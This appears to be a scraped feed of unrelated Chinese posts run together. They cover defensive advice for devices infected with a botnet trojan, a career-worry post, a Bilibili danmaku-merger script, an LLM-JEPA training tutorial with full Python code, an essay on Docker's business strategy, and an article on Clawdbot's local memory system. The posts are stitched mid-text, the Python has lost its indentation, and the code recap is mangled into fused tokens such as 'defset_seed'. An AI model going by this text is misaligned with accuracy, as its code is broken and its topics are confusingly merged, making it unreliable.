1.立即关闭公网访问,撤销端口映射/公网反代/暴露端口;仅允许内网访问,或使用 VPN/零信任网关进入内网后访问管理面;在网关处限制来源 IP (最小化暴露面)。
2.持续监控
再次强调:未中招用户也不要再暴露 Web 。“没被打到”不代表安全,反而意味着资产仍处于可被扫描与补种的窗口内。
A2.已疑似/确认中招的用户
第一步:立刻断网隔离(物理断网优先)。
不要让设备继续联网回连 C2 ,也不要让其继续执行任务或触发 DDoS 。
第二步:在断网环境下清除与排查(不要边联网边操作)。
中招用户共识建议:离线状态下进行木马清除、检查并处理定时任务/计划任务、启动项、可疑账号与权限、异常容器/进程、异常文件变更等持久化点。
第三步:清理完成前不要恢复联网。
在缺乏完整、可验证的清除方案前,贸然联网可能导致再次回连、二次下发任务或触发破坏行为。
第四步:保留日志与证据。
说明:以上收集自互联网和论坛
眼下四十过半,工作上已经有些力不从心,经济环境也不好,时刻担忧着被优化,再加上上一代、下一代、中间还有着房贷、车贷,思绪非常的焦虑,越来越感觉不自信。大家有没有指导一下的建议。感谢~!
你们考虑过以后是继续在一线租房工作还是会回小城市定居生活呢
各位早中下午好,不知道各位看视频爱不爱看弹幕,反正我是离不开了,恨不得去电影院都能开着弹幕看。就好这一口氛围感。从去年开始 B 站就回到以前的大航海时代,资源满天飞,但还得和版权方躲猫猫,导致要么是 N 个 UP 上传各种神命名的番剧,要么就是来不及看被补档了,导致弹幕分布在各个角落,为了自己看的爽一点,搞了个弹幕合并器脚本。完成得差不多了,分享出来。
通过关键词或 BV 号快速查找目标视频。

选择分 P 并设置时间偏移。

多源弹幕同屏显示,增强互动感。

适配时间戳弹幕,支持点击跳转。

Bilibili_Danmaku_Merger.js 脚本。这篇文章从头实现 LLM-JEPA: Large Language Models Meet Joint Embedding Predictive Architectures。需要说明的是,这里写的是一个简洁的最小化训练脚本,目标是了解 JEPA 的本质:对同一文本创建两个视图,预测被遮蔽片段的嵌入,用表示对齐损失来训练。 本文的目标是让你真正理解这套方法。代码会逐行讲解,每个函数的用途都会解释清楚,并和论文的核心直觉对应起来。每个代码块都会详细说明,方便你根据自己的实验需求进行修改。 整个 LLM-JEPA 训练脚本放在一个文件里: 它接收原始文本然后创建两个视图:context 视图把某些片段替换成 [MASK],target 视图保留原始文本但只在被遮蔽位置做监督。Context 编码器是可训练的,负责预测 target 编码器在遮蔽位置的表示。Target 编码器则是 context 编码器的 EMA 副本,不参与梯度计算。损失函数用的是预测嵌入和目标嵌入之间的余弦距离。 运行示例: 这是一个简洁的参考实现,不是完整的仓库代码。编码器用的是 Transformers 库。 这是一个面向文本的 JEPA 风格表示预测器。 输入普通文本行,对每个样本创建两个视图。遮蔽视图(context view)是同一个句子,但某些 span 被替换成 `[MASK];原始视图(target view)保持原样,没有遮蔽。 训练流程是这样的:遮蔽视图过一个可训练的 context 编码器,原始视图过一个不可训练的 target 编码器,然后训练一个预测器,让 context 编码器的表示能预测 target 编码器的表示——但只在被遮蔽的位置上计算损失。Target 编码器通过 EMA 更新来保持稳定。 这种设计鼓励模型学习"填补语义"的表示,而不是预测具体的 token。 这个函数确保运行可复现。 固定 Python 的随机操作(span 遮蔽会用到), 固定 PyTorch 在 CPU 上的随机性, 固定 CUDA 内核的随机性。 span 遮蔽和模型初始化都是随机的,不设种子的话每次跑结果都不一样。 返回 PyTorch 设备对象。如果传 ,有 GPU 就用 GPU,没有就用 CPU。也可以直接指定 或 。 张量和模型必须在同一设备上,这是基本要求。 整个脚本里最重要的函数之一。 目标是创建一个布尔掩码,标记序列中哪些位置该被遮蔽。参数包括:seq_len 是真实 token 数量(不含 padding),mask_ratio 是遮蔽比例(比如 0.3),mean_span_len 是连续遮蔽 span 的平均长度,special_positions 是永远不该遮蔽的位置(CLS、SEP、PAD)。 内部逻辑是先创建一个全 False 的掩码,然后计算需要遮蔽多少 token: 即使序列很短也至少遮蔽 1 个。 接下来循环采样 span 直到凑够数。Span 长度从指数分布采样: 这会产出很多短 span 和少量长 span,比较符合自然分布。随机选一个起始位置,过滤掉特殊 token,把剩下的位置标记为 True。 遮蔽策略对表示学习质量影响很大。Span 遮蔽能迫使模型从周围上下文推断缺失的语义。 拿到一个样本的 token ids,输出两个东西:masked_input_ids 是把遮蔽位置换成 [MASK] 后的 ids,pred_mask 是标记哪些位置要算损失的布尔掩码。 先算可见序列长度: 。attention_mask 里真实 token 是 1,padding 是 0。 然后识别特殊 token 位置,CLS 和 SEP 不能遮蔽,否则模型容易出问题。调用 sample_span_mask 采样遮蔽位置,把这些位置替换成 mask_token_id: 返回的 pred_mask 是完整长度的,padding 位置都是 False。只在遮蔽位置算 JEPA 损失,其他位置忽略。 极简的数据集实现,存文本行列表,去掉空行和首尾空白。 返回行数, 返回单条文本。 load_texts_from_file 逐行读文件,可限制最大行数,传 时用。default_tiny_corpus 提供内置测试数据集。 用 dataclass 比返回元组清晰多了,代码可读性好。 DataLoader 创建批次时调用的函数。输入是原始文本列表,先用 tokenizer 做分词、padding、截断: 产出 input_ids 和 attention_mask。然后对每个样本调 apply_mask_to_input_ids 生成遮蔽版本和 pred_mask,最后堆叠成 [B, L] 张量返回 Batch。 DataLoader 是逐样本读的,但训练需要批次。批处理和遮蔽都在这里发生。 预测器头,结构简单: 把 context 表示映射到 target 表示空间,相当于一个学习出来的适配器,帮助对齐两边的嵌入。 主模型包装器,包含四个核心部件:context_encoder 是可训练的 Transformer 编码器,target_encoder 是它的深拷贝但不可训练,predictor 是 MLP,ema_m 是 EMA 动量因子。 _copy_encoder 用 确保 target 和 context 初始状态一致。 ema_update 缓慢更新 target 编码器权重: m=0.99 时 target 变化非常慢,这能稳定训练、降低表示坍塌风险。 forward 的流程:把遮蔽视图过 context 编码器(可训练),原始视图过 target 编码器(无梯度),predictor 处理 context 输出,然后只取遮蔽位置的向量: 从 [B, L, D] 变成 [N, D],N 是遮蔽 token 总数。归一化后算余弦距离: 归一化是因为余弦相似度只看向量方向,不看大小。 加载 Hugging Face 编码器,返回模型和隐藏维度(从 config.hidden_size 读)。 冒烟测试专用,从头建一个小 Transformer 编码器,包括嵌入层、位置嵌入、编码器堆栈。注意这不是掩码语言模型,只是个编码器架构。返回对象带 属性是为了匹配 HF 输出格式。 这个实现刻意追求清晰而非完整,所以没有自定义注意力掩码、多视图数据集或混合目标。但是把它当参考实现用是非常合适的。原始 LLM-JEPA 论文做得更深入,把 JEPA 和 token 预测结合起来,还利用了文本-代码这样的自然配对视图。那些设计对下游任务表现很重要,但也增加了复杂度,容易让人看不清核心机制。 论文: 作者:azhar
代码
# 小型冒烟测试(无需下载,随机初始化)
python llm_jepa_train.py --smoke_test
# 使用 HF 模型骨干训练
python llm_jepa_train.py --model_name distilbert-base-uncased --steps 200 --batch_size 8
# 在自己的文本文件上训练
python llm_jepa_train.py --model_name distilbert-base-uncased --text_file data.txt --steps 2000 import argparse
import math
import os
import random
from dataclasses import dataclass
from typing import List, Tuple, Optional
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.utils.data import Dataset, DataLoader
try:
from transformers import AutoTokenizer, AutoModel, AutoConfig
except Exception:
AutoTokenizer = None
AutoModel = None
AutoConfig = None
# -----------------------------
# Utilities
# -----------------------------
def set_seed(seed: int):
random.seed(seed)
torch.manual_seed(seed)
torch.cuda.manual_seed_all(seed)
def pick_device(device_str: str) -> torch.device:
if device_str == "auto":
return torch.device("cuda" if torch.cuda.is_available() else "cpu")
return torch.device(device_str)
# -----------------------------
# Span masking (simple + effective)
# -----------------------------
def sample_span_mask(
seq_len: int,
mask_ratio: float,
mean_span_len: int,
special_positions: Optional[set] = None,
) -> torch.BoolTensor:
"""
Returns a boolean mask of length seq_len indicating which positions are masked.
We mask contiguous spans until we reach approximately mask_ratio of tokens.
"""
if special_positions is None:
special_positions = set()
mask = torch.zeros(seq_len, dtype=torch.bool)
if seq_len <= 0:
return mask
target_to_mask = max(1, int(round(seq_len * mask_ratio)))
masked = 0
attempts = 0
max_attempts = seq_len * 4
while masked < target_to_mask and attempts < max_attempts:
attempts += 1
span_len = max(1, int(random.expovariate(1.0 / max(1, mean_span_len))))
span_len = min(span_len, seq_len)
start = random.randint(0, seq_len - 1)
end = min(seq_len, start + span_len)
span_positions = [i for i in range(start, end) if i not in special_positions]
if not span_positions:
continue
newly = 0
for i in span_positions:
if not mask[i]:
mask[i] = True
newly += 1
masked += newly
return mask
def apply_mask_to_input_ids(
input_ids: torch.LongTensor,
attention_mask: torch.LongTensor,
tokenizer,
mask_ratio: float,
mean_span_len: int,
) -> Tuple[torch.LongTensor, torch.BoolTensor]:
"""
Masks spans inside non-special, non-padding tokens.
Returns:
masked_input_ids: input ids with masked tokens replaced by [MASK]
pred_mask: boolean mask over positions where we apply JEPA loss
"""
assert input_ids.dim() == 1
seq_len = int(attention_mask.sum().item())
# Identify special token positions (CLS, SEP, etc.) in the visible region
special_positions = set()
for i in range(seq_len):
tid = int(input_ids[i].item())
if tid in {
tokenizer.cls_token_id,
tokenizer.sep_token_id,
tokenizer.pad_token_id,
}:
special_positions.add(i)
pred_mask = sample_span_mask(
seq_len=seq_len,
mask_ratio=mask_ratio,
mean_span_len=mean_span_len,
special_positions=special_positions,
)
masked_input_ids = input_ids.clone()
mask_token_id = tokenizer.mask_token_id
if mask_token_id is None:
raise ValueError("Tokenizer has no mask_token_id. Use a model with [MASK].")
# Replace masked positions with [MASK]
masked_input_ids[:seq_len][pred_mask] = mask_token_id
# pred_mask should be full length (includes pads as False)
full_mask = torch.zeros_like(attention_mask, dtype=torch.bool)
full_mask[:seq_len] = pred_mask
return masked_input_ids, full_mask
# -----------------------------
# Dataset
# -----------------------------
class TextLinesDataset(Dataset):
def __init__(self, texts: List[str]):
self.texts = [t.strip() for t in texts if t.strip()]
def __len__(self) -> int:
return len(self.texts)
def __getitem__(self, idx: int) -> str:
return self.texts[idx]
def load_texts_from_file(path: str, max_lines: Optional[int] = None) -> List[str]:
texts = []
with open(path, "r", encoding="utf-8") as f:
for i, line in enumerate(f):
if max_lines is not None and i >= max_lines:
break
texts.append(line.rstrip("\n"))
return texts
def default_tiny_corpus() -> List[str]:
return [
"The cat sat on the mat and looked at the window.",
"A quick brown fox jumps over the lazy dog.",
"Deep learning models can learn useful representations from raw data.",
"Rocket Learning builds AI tools for education in India.",
"Transformers use attention to mix information across tokens.",
"Self-supervised learning can reduce the need for labels.",
"JEPA trains models to predict embeddings, not tokens.",
"Bengaluru is a major tech hub in India.",
"A good system design balances simplicity and scalability.",
"Reading code carefully helps you understand how an idea is implemented.",
]
@dataclass
class Batch:
input_ids: torch.LongTensor # [B, L]
attention_mask: torch.LongTensor # [B, L]
masked_input_ids: torch.LongTensor # [B, L]
pred_mask: torch.BoolTensor # [B, L] positions to compute loss on
def collate_jepa(
batch_texts: List[str],
tokenizer,
max_length: int,
mask_ratio: float,
mean_span_len: int,
) -> Batch:
toks = tokenizer(
batch_texts,
padding=True,
truncation=True,
max_length=max_length,
return_tensors="pt",
)
input_ids = toks["input_ids"] # [B, L]
attention_mask = toks["attention_mask"] # [B, L]
masked_input_ids_list = []
pred_mask_list = []
for b in range(input_ids.size(0)):
mi, pm = apply_mask_to_input_ids(
input_ids[b],
attention_mask[b],
tokenizer,
mask_ratio=mask_ratio,
mean_span_len=mean_span_len,
)
masked_input_ids_list.append(mi)
pred_mask_list.append(pm)
masked_input_ids = torch.stack(masked_input_ids_list, dim=0)
pred_mask = torch.stack(pred_mask_list, dim=0)
return Batch(
input_ids=input_ids,
attention_mask=attention_mask,
masked_input_ids=masked_input_ids,
pred_mask=pred_mask,
)
# -----------------------------
# Model: Encoder + Predictor + EMA target encoder
# -----------------------------
class PredictorMLP(nn.Module):
def __init__(self, dim: int, hidden_mult: int = 4, dropout: float = 0.0):
super().__init__()
hidden = dim * hidden_mult
self.net = nn.Sequential(
nn.Linear(dim, hidden),
nn.GELU(),
nn.Dropout(dropout),
nn.Linear(hidden, dim),
)
def forward(self, x: torch.Tensor) -> torch.Tensor:
return self.net(x)
class LLMJEPA(nn.Module):
def __init__(self, encoder: nn.Module, dim: int, ema_m: float = 0.99, pred_hidden_mult: int = 4):
super().__init__()
self.context_encoder = encoder
self.target_encoder = self._copy_encoder(encoder)
self.predictor = PredictorMLP(dim=dim, hidden_mult=pred_hidden_mult, dropout=0.0)
self.ema_m = ema_m
for p in self.target_encoder.parameters():
p.requires_grad = False
@staticmethod
def _copy_encoder(enc: nn.Module) -> nn.Module:
import copy
return copy.deepcopy(enc)
@torch.no_grad()
def ema_update(self):
m = self.ema_m
for p_ctx, p_tgt in zip(self.context_encoder.parameters(), self.target_encoder.parameters()):
p_tgt.data.mul_(m).add_(p_ctx.data, alpha=(1.0 - m))
def forward(
self,
masked_input_ids: torch.LongTensor,
input_ids: torch.LongTensor,
attention_mask: torch.LongTensor,
pred_mask: torch.BoolTensor,
) -> torch.Tensor:
"""
Returns JEPA loss (scalar).
We compute:
z_ctx = context_encoder(masked_input)
z_tgt = target_encoder(full input)
pred = predictor(z_ctx)
loss over positions in pred_mask
"""
out_ctx = self.context_encoder(input_ids=masked_input_ids, attention_mask=attention_mask)
z_ctx = out_ctx.last_hidden_state # [B, L, D]
with torch.no_grad():
out_tgt = self.target_encoder(input_ids=input_ids, attention_mask=attention_mask)
z_tgt = out_tgt.last_hidden_state # [B, L, D]
pred = self.predictor(z_ctx) # [B, L, D]
# Select masked positions
# pred_mask: [B, L] bool
masked_pred = pred[pred_mask] # [N, D]
masked_tgt = z_tgt[pred_mask] # [N, D]
if masked_pred.numel() == 0:
# Safety: if a batch ends up with no masked tokens, return zero loss
return pred.sum() * 0.0
masked_pred = F.normalize(masked_pred, dim=-1)
masked_tgt = F.normalize(masked_tgt, dim=-1)
# Cosine distance
loss = 1.0 - (masked_pred * masked_tgt).sum(dim=-1)
return loss.mean()
# -----------------------------
# Training
# -----------------------------
def build_hf_encoder(model_name: str):
if AutoModel is None:
raise RuntimeError("transformers is not installed. pip install transformers")
config = AutoConfig.from_pretrained(model_name)
encoder = AutoModel.from_pretrained(model_name, config=config)
dim = int(config.hidden_size)
return encoder, dim
def build_random_encoder(vocab_size: int = 30522, dim: int = 256, layers: int = 4, heads: int = 4):
"""
For smoke tests only: small Transformer encoder (random init).
Requires a tokenizer with vocab mapping for ids.
"""
encoder_layer = nn.TransformerEncoderLayer(d_model=dim, nhead=heads, batch_first=True)
transformer = nn.TransformerEncoder(encoder_layer, num_layers=layers)
class TinyEncoder(nn.Module):
def __init__(self):
super().__init__()
self.emb = nn.Embedding(vocab_size, dim)
self.pos = nn.Embedding(512, dim)
self.enc = transformer
def forward(self, input_ids, attention_mask):
B, L = input_ids.shape
pos_ids = torch.arange(L, device=input_ids.device).unsqueeze(0).expand(B, L)
x = self.emb(input_ids) + self.pos(pos_ids)
# attention_mask: 1 for keep, 0 for pad
# transformer expects src_key_padding_mask: True for pad
pad_mask = attention_mask == 0
h = self.enc(x, src_key_padding_mask=pad_mask)
return type("Out", (), {"last_hidden_state": h})
return TinyEncoder(), dim
def save_checkpoint(path: str, model: LLMJEPA, optimizer: torch.optim.Optimizer, step: int):
os.makedirs(os.path.dirname(path), exist_ok=True)
torch.save(
{
"step": step,
"context_encoder": model.context_encoder.state_dict(),
"target_encoder": model.target_encoder.state_dict(),
"predictor": model.predictor.state_dict(),
"optimizer": optimizer.state_dict(),
},
path,
)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--model_name", type=str, default="distilbert-base-uncased", help="HF encoder backbone")
parser.add_argument("--text_file", type=str, default="", help="Path to a newline-separated text file")
parser.add_argument("--max_lines", type=int, default=50000)
parser.add_argument("--max_length", type=int, default=128)
parser.add_argument("--mask_ratio", type=float, default=0.3)
parser.add_argument("--mean_span_len", type=int, default=5)
parser.add_argument("--ema_m", type=float, default=0.99)
parser.add_argument("--pred_hidden_mult", type=int, default=4)
parser.add_argument("--batch_size", type=int, default=8)
parser.add_argument("--lr", type=float, default=2e-5)
parser.add_argument("--weight_decay", type=float, default=0.01)
parser.add_argument("--steps", type=int, default=500)
parser.add_argument("--warmup_steps", type=int, default=50)
parser.add_argument("--log_every", type=int, default=25)
parser.add_argument("--save_every", type=int, default=200)
parser.add_argument("--save_path", type=str, default="checkpoints/llm_jepa.pt")
parser.add_argument("--device", type=str, default="auto")
parser.add_argument("--seed", type=int, default=42)
parser.add_argument("--smoke_test", action="store_true", help="No downloads, tiny random encoder, tiny corpus")
args = parser.parse_args()
set_seed(args.seed)
device = pick_device(args.device)
if args.smoke_test:
if AutoTokenizer is None:
raise RuntimeError("transformers is required even for smoke_test (for tokenizer).")
tokenizer = AutoTokenizer.from_pretrained("distilbert-base-uncased")
# Ensure mask token exists
if tokenizer.mask_token_id is None:
raise ValueError("Tokenizer must support [MASK]. Use a masked LM tokenizer.")
texts = default_tiny_corpus()
ds = TextLinesDataset(texts)
encoder, dim = build_random_encoder(vocab_size=int(tokenizer.vocab_size), dim=256, layers=4, heads=4)
model = LLMJEPA(encoder=encoder, dim=dim, ema_m=0.95, pred_hidden_mult=2).to(device)
lr = 1e-4
else:
if AutoTokenizer is None:
raise RuntimeError("transformers is not installed. pip install transformers")
tokenizer = AutoTokenizer.from_pretrained(args.model_name)
if tokenizer.mask_token_id is None:
raise ValueError(
"This tokenizer has no [MASK]. Pick a masked-encoder model (BERT/DeBERTa/DistilBERT)."
)
if args.text_file:
texts = load_texts_from_file(args.text_file, max_lines=args.max_lines)
else:
texts = default_tiny_corpus()
ds = TextLinesDataset(texts)
encoder, dim = build_hf_encoder(args.model_name)
model = LLMJEPA(encoder=encoder, dim=dim, ema_m=args.ema_m, pred_hidden_mult=args.pred_hidden_mult).to(device)
lr = args.lr
# DataLoader
def _collate(batch_texts):
return collate_jepa(
batch_texts=batch_texts,
tokenizer=tokenizer,
max_length=args.max_length,
mask_ratio=args.mask_ratio,
mean_span_len=args.mean_span_len,
)
dl = DataLoader(ds, batch_size=args.batch_size, shuffle=True, drop_last=True, collate_fn=_collate)
# Optimizer
optimizer = torch.optim.AdamW(model.parameters(), lr=lr, weight_decay=args.weight_decay)
# Simple warmup + cosine schedule
def lr_at(step: int) -> float:
if step < args.warmup_steps:
return float(step + 1) / float(max(1, args.warmup_steps))
progress = (step - args.warmup_steps) / float(max(1, args.steps - args.warmup_steps))
progress = min(max(progress, 0.0), 1.0)
return 0.5 * (1.0 + math.cos(math.pi * progress))
model.train()
running = 0.0
step = 0
data_iter = iter(dl)
while step < args.steps:
try:
batch = next(data_iter)
except StopIteration:
data_iter = iter(dl)
batch = next(data_iter)
# Move to device
input_ids = batch.input_ids.to(device)
attention_mask = batch.attention_mask.to(device)
masked_input_ids = batch.masked_input_ids.to(device)
pred_mask = batch.pred_mask.to(device)
# LR schedule
scale = lr_at(step)
for pg in optimizer.param_groups:
pg["lr"] = lr * scale
loss = model(
masked_input_ids=masked_input_ids,
input_ids=input_ids,
attention_mask=attention_mask,
pred_mask=pred_mask,
)
optimizer.zero_grad(set_to_none=True)
loss.backward()
torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)
optimizer.step()
# EMA update after optimizer step
model.ema_update()
running += float(loss.item())
step += 1
if step % args.log_every == 0:
avg = running / float(args.log_every)
running = 0.0
print(f"step {step:6d} | loss {avg:.4f} | lr {optimizer.param_groups[0]['lr']:.6g}")
if step % args.save_every == 0:
save_checkpoint(args.save_path, model, optimizer, step)
print(f"saved checkpoint to {args.save_path} at step {step}")
save_checkpoint(args.save_path, model, optimizer, step)
print(f"training done. final checkpoint: {args.save_path}")
if __name__ == "__main__":
main()这个脚本在训练什么
set_seed 函数
defset_seed(seed: int):
random.seed(seed)
torch.manual_seed(seed)
torch.cuda.manual_seed_all(seed)random.seed(seed)torch.manual_seed(seed)torch.cuda.manual_seed_all(seed)pick_device 函数
def pick_device(device_str: str) -> torch.device:
if device_str == "auto":
return torch.device("cuda" if torch.cuda.is_available() else "cpu")
return torch.device(device_str)--device auto--device cpu--device cudasample_span_mask 函数
def sample_span_mask(seq_len, mask_ratio, mean_span_len, special_positions=None) target_to_mask=max(1, int(round(seq_len*mask_ratio))) span_len=max(1, int(random.expovariate(1.0/max(1, mean_span_len))))apply_mask_to_input_ids 函数
defapply_mask_to_input_ids(input_ids, attention_mask, tokenizer, mask_ratio, mean_span_len)seq_len = int(attention_mask.sum().item()) masked_input_ids[:seq_len][pred_mask] =mask_token_idTextLinesDataset 类
classTextLinesDataset(Dataset):
def__init__(self, texts):
self.texts= [t.strip() fortintextsift.strip()]__len____getitem__--text_fileBatch 数据类
@dataclass
classBatch:
input_ids
attention_mask
masked_input_ids
pred_maskcollate_jepa 函数
toks=tokenizer(batch_texts, padding=True, truncation=True, max_length=max_length, return_tensors="pt")PredictorMLP 类
nn.Linear(dim, hidden)
nn.GELU()
nn.Dropout()
nn.Linear(hidden, dim)LLMJEPA 模型类
copy.deepcopy p_tgt=m*p_tgt+ (1-m) *p_ctx masked_pred=pred[pred_mask] # [N, D]
masked_tgt=z_tgt[pred_mask] # [N, D] loss=1- (masked_pred*masked_tgt).sum(dim=-1)
returnloss.mean()build_hf_encoder 函数
build_random_encoder 函数
.last_hidden_state总结
https://avoid.overfit.cn/post/09eb991a93f64a83a376cdb52ac5c661
如题所示,今天早上在 L 站发了一篇关于隐水印的文章秒删之后,今天中午又在 V 站发了两个帖子。然后听说隐水印没了,想登上去看看,结果没了
有些技术产品的命运很讽刺:它成功到成为“基础设施”,然后就很难再靠它赚钱。Docker 就是典型案例——容器化标准被全行业采用后,Docker越用越香,Docker公司反而开始进入一种“我是谁、我在哪、我卖什么”的长期迷茫期。 站在 2026 往回看,Docker 的路线像极了一个“曾经统治江湖的高手”,突然发现大家都学会了他的绝招,还免费开源教程,于是只能不断换赛道:从编排,到开发者体验,再到 AI,再到安全镜像……每一步单独看都合理,连起来就像在玩“商业模式大富翁”。😅 我们就来聊聊 Docker 这些年到底在追什么,以及对开发者意味着什么。 Docker 早年解决的是“应用交付的终极痛点”:环境不一致、部署不可靠、依赖乱。容器把这一切梳顺了,甚至把“打包交付”的语言都统一了。 问题也正出在这里:当容器化成为基础设施,大家默认“它就应该存在”,就像默认 TCP/IP 不该收费一样。基础设施越成功,商业化越痛苦——除非你能在基础设施之上,卖出新的、不可替代的价值。 于是 Docker 开始寻找“新价值点”。 曾经 Docker 也想把版图扩到“编排”,让 Swarm 跟 Kubernetes 正面掰手腕。但现实是:K8s 成了事实标准,生态和社区像雪球越滚越大。 后来的剧情大家都知道:Docker 把企业业务(包含相关技术与客户资产)卖给 Mirantis,Swarm 也随这波交易进入 Mirantis 体系,Docker 自己则更聚焦在 Desktop、Hub、以及开发者工作流上。 这一步传递的信号很清晰:不再执着于“全栈云原生平台”,转而做自己最擅长、最贴近开发者的环节。 Docker 的“开发者体验路线”其实是非常聪明的一步:开发者愿意为效率和确定性付费,尤其是当软件供应链和依赖漏洞越来越像“定时炸弹”时。 Docker 通过收购 Atomist 加速进入软件供应链与可观测性方向,随后把能力沉淀到 Docker Scout 这类产品上:不只告诉你镜像里有什么包,还要追溯它怎么构建、哪里有漏洞、有没有合规风险。 Docker 收购 AtomicJar(Testcontainers 背后的公司)则是另一招“贴地飞行”:测试阶段直接拉起真实依赖(数据库、消息队列等),让集成测试更接近生产,从而减少“线上才爆炸”的概率。 这一阶段的 Docker,像一个越来越懂开发者的产品经理:不谈宏大叙事,只解决“今天能不能少加班”的问题。 从容器到模型、从 Compose 到 Agent🤖 然后,AI 浪潮来了——几乎所有基础设施公司都会被迫回答一个问题:“AI 工作负载要怎么跑?我能插一脚吗?” Docker 的回答是:能,而且要跑得像 Docker 推出 Docker Model Runner,主打“更快更简单地在本地运行和测试 AI 模型”,把模型运行塞进开发者熟悉的 Docker 工作流里。 Docker 还把 Compose 拉进“AI Agent 时代”,并引入 Docker Offload 来承接云端 GPU 规模化执行,把“本地好调试、线上跑得动”的老矛盾,包装成一条更平滑的路径。 说白了:Docker 正在努力把 AI 开发也变成一种“可声明、可复现、可搬运”的工程化体验——这正是它当年在容器时代最擅长的那套叙事。 收购 MCP Defender + 推出 Hardened Images,像在对行业喊“我还能打”🛡️ AI 之后,Docker 又把“安全”推到了更核心的位置。 2025 年 9 月,Docker 宣布收购 MCP Defender,定位是“为 agentic AI 应用提供安全能力”,强调运行时威胁检测与防护。 更“狠”的是加固镜像:Docker 宣布将 Docker Hardened Images 走向“免费、开源、透明”,采用 Apache 2.0 许可,强调相比传统社区镜像漏洞最多可减少 95%,并建立在 Alpine、Debian 等基础之上。 这招很像“安全镜像赛道”的正面硬刚:当市场上出现强势对手(比如专注安全镜像的厂商),最有效的竞争手段之一就是——把门槛直接打到地板价:免费 + 开源。 2025 年 2 月,Docker 任命 Don Johnson 为新 CEO,接替 Scott Johnston。 当然,猜想归猜想,能确定的是:Docker 仍在寻找一个能长期自洽的商业答案。 对大多数开发者来说,有两件事是相对确定的: 更现实的建议是: Docker 的“尴尬”其实是开源成功者的共同难题🙂 Docker 的故事像一面镜子:当你做出一个改变世界的开源技术,它越成功,就越像水和电一样“理所当然”;而越理所当然,就越难直接变现。 喜欢就奖励一个“👍”和“在看”呗~
1)当“事实标准”变成“免费空气”:Docker 最难的不是技术,是收钱💰
2)编排之战:Kubernetes 赢了,Docker 选择“退一步海阔天空”🌊
3)开发者工具转向:Scout、Testcontainers,把“安全”和“测试”塞进日常工作流🧰
Docker Scout:把镜像“拆开验货”,顺手把供应链安全做了
Testcontainers:把集成测试从“玄学”拉回“可复现”
4)AI 时代的“再一次身份切换”
docker run 一样顺手。Model Runner:让本地跑模型像跑容器一样自然
Compose + Offload:本地调试,云端上 GPU 扩容
5)安全牌加码
MCP Defender:面向 Agentic AI 的运行时威胁检测
这一步几乎等于宣告:Docker 想做的不只是开发者工具,而是 AI 基础设施的一部分。Hardened Images:1000+ 加固镜像开源免费,漏洞最多可降 95%
但问题也随之而来:如果安全能力都免费了,那 Docker 要靠什么挣钱?6)CEO 更替与“被收购猜想”:公司层面的信号更耐人寻味👀
外界对这种更替的解读往往很现实:当一个公司频繁调整战略、同时补齐多个“可能变现”的方向(开发者工具、企业安全、AI 基建),就很容易被联想到——是在为更大的合作或资本动作做准备。7)对开发者意味着什么:别太焦虑,技术不会消失,但生态会变📦
结语
于是公司必须不断寻找新的附加价值:开发者效率、安全、AI、企业能力……每一张牌都能理解,但能否拼成一条长期可持续的路线,还要看接下来的几年。
你是否曾经和AI助手聊了一整晚,第二天打开对话却发现它完全忘了你们讨论过的关键细节?或者当你在多个项目之间切换时,AI总是在问"你指的是哪个API",让你不厌其烦地重复背景信息。这种"金鱼式记忆"是当下大多数云端AI产品的通病——它们要么只能记住有限的上下文,要么把所有数据都存储在厂商的服务器上。 但如果有一个AI助手,它能像一位真正的私人助理那样,永远记住你的偏好、你的项目细节、甚至你三个月前提过的小习惯?更妙的是,这些记忆完全存储在你自己的电脑上,由你全权掌控。 这就是Clawdbot正在做的事情。作为一款开源的个人AI助手,Clawdbot在GitHub上已经获得了超过125,000个Star。与运行在云端的ChatGPT或Claude不同,Clawdbot直接运行在你的本地机器上,并且能够集成到你日常使用的聊天平台中(Discord、WhatsApp、Telegram等)。 它不仅是一个聊天机器人,更是一个能自主处理实际任务的助手:管理邮件、安排日历、处理航班值机、按计划运行后台任务。但最吸引我的是它的持久化记忆系统——它能实现24/7的全天候上下文保持,记住对话内容,并无限期地基于之前的交互进行累积。 如果你读过我之前关于ChatGPT记忆和Claude记忆的文章,就知道我对不同AI产品如何处理记忆这个问题非常着迷。Clawdbot采用了一种截然不同的方法:它不是基于云端、由公司控制的记忆,而是将一切保存在本地,让用户完全拥有自己的上下文和技能数据。 让我们一起深入了解它是如何工作的。 在深入探讨记忆之前,我们先来理解模型在每次请求时能看到什么: 系统提示词定义了Agent的能力和可用工具。与记忆相关的是"项目上下文",它包含了用户可编辑的Markdown文件,这些文件会被注入到每次请求中: 这些文件位于Agent的工作空间中,与记忆文件并存,使得整个Agent的配置变得透明且可编辑。 理解上下文和记忆之间的区别,是理解Clawdbot的基础。 上下文是模型在单次请求中能看到的一切: 上下文的特性: 记忆是存储在磁盘上的内容: 记忆的特性: Agent通过两个专用工具来访问记忆: 用途:在所有文件中查找相关的记忆 返回结果: 用途:在找到内容后读取具体内容 返回结果: 并没有专门的memory_write工具。Agent使用标准的写入和编辑工具来写入记忆——这些工具它本来就在用于处理任何文件。由于记忆就是普通的Markdown,你也可以手动编辑这些文件(它们会被自动重新索引)。 写入位置的决策是通过AGENTS.md中的提示来驱动的: 在预压缩刷新和会话结束时,也会自动进行写入(后续章节会介绍)。 Clawdbot的记忆系统建立在"记忆就是Agent工作空间中的纯Markdown"这一原则之上。 记忆位于Agent的工作空间中(默认:~/clawd/): 第一层:每日日志(memory/YYYY-MM-DD.md) 这些是仅追加的每日笔记,Agent会在一天中随时写入。当Agent想要记住某事,或被明确告知要记住某事时,就会写入这里。 第二层:长期记忆(MEMORY.md) 这是经过策划的、持久的知识。当发生重大事件、想法、决策、观点和学到的教训时,Agent会写入这里。 当你保存一个记忆文件时,后台会发生以下事情: sqlite-vec 是一个SQLite扩展,它直接在SQLite中实现向量相似度搜索,无需外部向量数据库。 FTS5 是SQLite内置的全文搜索引擎,为BM25关键词匹配提供支持。两者结合,使Clawdbot能够从一个轻量级数据库文件中运行混合搜索(语义 + 关键词)。 当你搜索记忆时,Clawdbot会并行运行两种搜索策略。向量搜索(语义)找到意思相同的内容,BM25搜索(关键词)找到包含确切token的内容。 结果通过加权评分合并: 为什么是70/30?语义相似性是记忆回忆的主要信号,但BM25关键词匹配能捕捉向量可能遗漏的确切术语(名称、ID、日期)。低于minScore阈值(默认0.35)的结果会被过滤掉。所有这些值都是可配置的。 